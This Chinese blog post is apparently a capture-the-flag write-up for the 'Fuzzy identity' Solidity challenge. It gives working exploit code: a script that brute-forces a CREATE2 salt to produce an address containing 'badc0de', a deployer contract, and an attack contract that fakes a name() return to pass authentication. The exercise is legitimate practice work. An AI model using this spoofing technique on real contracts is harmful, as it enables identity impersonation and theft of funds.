抱歉,您的浏览器无法访问本站
本页面需要浏览器支持(启用)JavaScript
了解详情 >

Fuzzy identity

1. 题目

  • 1.1

  • This contract can only be used by me (smarx). I don’t trust myself to remember my private key, so I’ve made it so whatever address I’m using in the future will work:

    1. I always use a wallet contract that returns “smarx” if you ask its name.
    2. Everything I write has bad code in it, so my address always includes the hex string badc0de.

    To complete this challenge, steal my identity!

  • 1.2 源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
pragma solidity ^0.4.21;

interface IName {
function name() external view returns (bytes32);
}

contract FuzzyIdentityChallenge {
bool public isComplete;

function authenticate() public {
require(isSmarx(msg.sender));
require(isBadCode(msg.sender));

isComplete = true;
}

function isSmarx(address addr) internal view returns (bool) {
return IName(addr).name() == bytes32("smarx");
}

function isBadCode(address _addr) internal pure returns (bool) {
bytes20 addr = bytes20(_addr);
bytes20 id = hex"000000000000000000000000000000000badc0de";
bytes20 mask = hex"000000000000000000000000000000000fffffff";

for (uint256 i = 0; i < 34; i++) {
if (addr & mask == id) {
return true;
}
mask <<= 4;
id <<= 4;
}

return false;
}
}

2. 分析

  • 2.1 分析代码可知,要是 isComplete的值为 true 需要成功调用 authenticate函数
  • 2.2 但是需要通过两层校验,第一层简单,直接按要求编写一个名为name的函数皆可,第二个函数要求传入的地址是以 badc0de 结尾的,我在这里想到了使用 create2 的方法来构造一个以 badc0de结尾的地址。

计算脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
import { ethers } from "ethers"

/**
* create2 计算合约地址所需要的四个值
*
* 1. 0xFF:一个常数,避免和CREATE冲突
2. 创建者地址
3. salt(盐):一个创建者给定的数值
4. 待部署合约的字节码(bytecode)
*/

// 1. 常数
const const_num = "0xFF";

// 2. 创建者地址(合约地址)
// 一般情况下是: address(this)
// 拼接的时候不能包含 `0x`
const contract_add = "0xf8e81D47203A594245E36C48e151709F0C19fBe8";

// 3. 拼接
let str1 = const_num + contract_add.slice(2,contract_add.length);

// 4. 代部署合约的字节码的hash值
const bytecode = "0x6060604052341561000f57600080fd5b6102108061001e6000396000f30060606040526004361061004c576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde0314610051578063d018db3e14610082575b600080fd5b341561005c57600080fd5b6100646100bb565b60405180826000191660001916815260200191505060405180910390f35b341561008d57600080fd5b6100b9600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506100e3565b005b60007f736d617278000000000000000000000000000000000000000000000000000000905090565b60008190508073ffffffffffffffffffffffffffffffffffffffff1663380c7a676040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401600060405180830381600087803b151561014b57600080fd5b5af1151561015857600080fd5b5050508073ffffffffffffffffffffffffffffffffffffffff1663b2fa1c9e6040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b15156101be57600080fd5b5af115156101cb57600080fd5b5050506040518051905015156101e057600080fd5b50505600a165627a7a7230582063de817dba94ce175bbb183123a834c18147e9cd341cefbe4d1e5aee5ee963310029";

// 5.1 对bytecode 进行hash运算 这个只能用单引号
// solidityKeccak256(['bytes'],[bytecode]) <=> keccak256(abi.encodePacked(bytecode))
const bytecodeToHash = ethers.utils.solidityKeccak256(['bytes'],[bytecode]);

// 5.2 下面这行代码也行,因为对 bytecode进行紧打包的结果不变
// const bytecodeToHash = ethers.utils.keccak256(bytecode);
// console.log(bytecodeToHash)

// 5. 定义一个盐,以及一个所求字段
let salt = 0;
const value = "badc0de"; // CTF靶场的题

// 遍历出指定值,求出salt
while (true) {
// 将salt转为16进制,用0填充为64位
// let saltToBytes = salt.toString(16).padStart(64, 0).toString();

let saltToHash = ethers.utils.solidityKeccak256(['uint'],[salt]);
saltToHash = saltToHash.slice(2, saltToHash.length)

// 再次拼接 顺序: 常数 创建者地址 盐 字节码的hash值
// bytecodeToHash.slice(2,bytecodeToHash.length): 删除 `0x`
let str2 = str1.concat(saltToHash).concat(bytecodeToHash.slice(2,bytecodeToHash.length));
// 对 str2 进行hash
let hash = ethers.utils.solidityKeccak256(['bytes'] ,[str2]);
//判断 是否满足条件
if (hash.slice(26, hash.length).includes(value)) {
console.log(`salt = 0x${salt.toString(16)}`);
console.log(`address = 0x${hash.slice(26, hash.length)}`);
break;
}
salt++;
}


计算结果

![image-20240412144602608](Fuzzy identity/image-20240412144602608.png)

需要一个Helper合约生成一个地址,脚本只是计算,并没有生成合约地址的功能。

Helper

1
2
3
4
5
6
7
8
9
10
11
12
13
14
pragma solidity ^0.8.0;

contract Helper {

function deployed(uint256 salt) public returns (address) {
bytes32 _salt = keccak256(abi.encodePacked(salt));
bytes memory bytecode = hex"6060604052341561000f57600080fd5b6102108061001e6000396000f30060606040526004361061004c576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde0314610051578063d018db3e14610082575b600080fd5b341561005c57600080fd5b6100646100bb565b60405180826000191660001916815260200191505060405180910390f35b341561008d57600080fd5b6100b9600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506100e3565b005b60007f736d617278000000000000000000000000000000000000000000000000000000905090565b60008190508073ffffffffffffffffffffffffffffffffffffffff1663380c7a676040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401600060405180830381600087803b151561014b57600080fd5b5af1151561015857600080fd5b5050508073ffffffffffffffffffffffffffffffffffffffff1663b2fa1c9e6040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b15156101be57600080fd5b5af115156101cb57600080fd5b5050506040518051905015156101e057600080fd5b50505600a165627a7a7230582063de817dba94ce175bbb183123a834c18147e9cd341cefbe4d1e5aee5ee963310029";
address hacker;
assembly {
hacker := create2(0, add(bytecode, 0x20), mload(bytecode), _salt)
}
return hacker;
}
}

生成合约地址

![image-20240412144612805](Fuzzy identity/image-20240412144612805.png)

根据计算出来的合约地址,生成Hacker,并调用其攻击函数

![image-20240412144621611](Fuzzy identity/image-20240412144621611.png)

3. 解题

攻击合约

1
2
3
4
5
6
7
8
9
10
11
12
contract Hack is IName {

function name() external view returns (bytes32) {
return bytes32("smarx");
}

function attack(address _challenge) public {
FuzzyIdentityChallenge challenge = FuzzyIdentityChallenge(_challenge);
challenge.authenticate();
require(challenge.isComplete());
}
}

调用 attack()

![image-20240412144632715](Fuzzy identity/image-20240412144632715.png)

解题成功~

评论



政策 · 统计 | 本站使用 Volantis 主题设计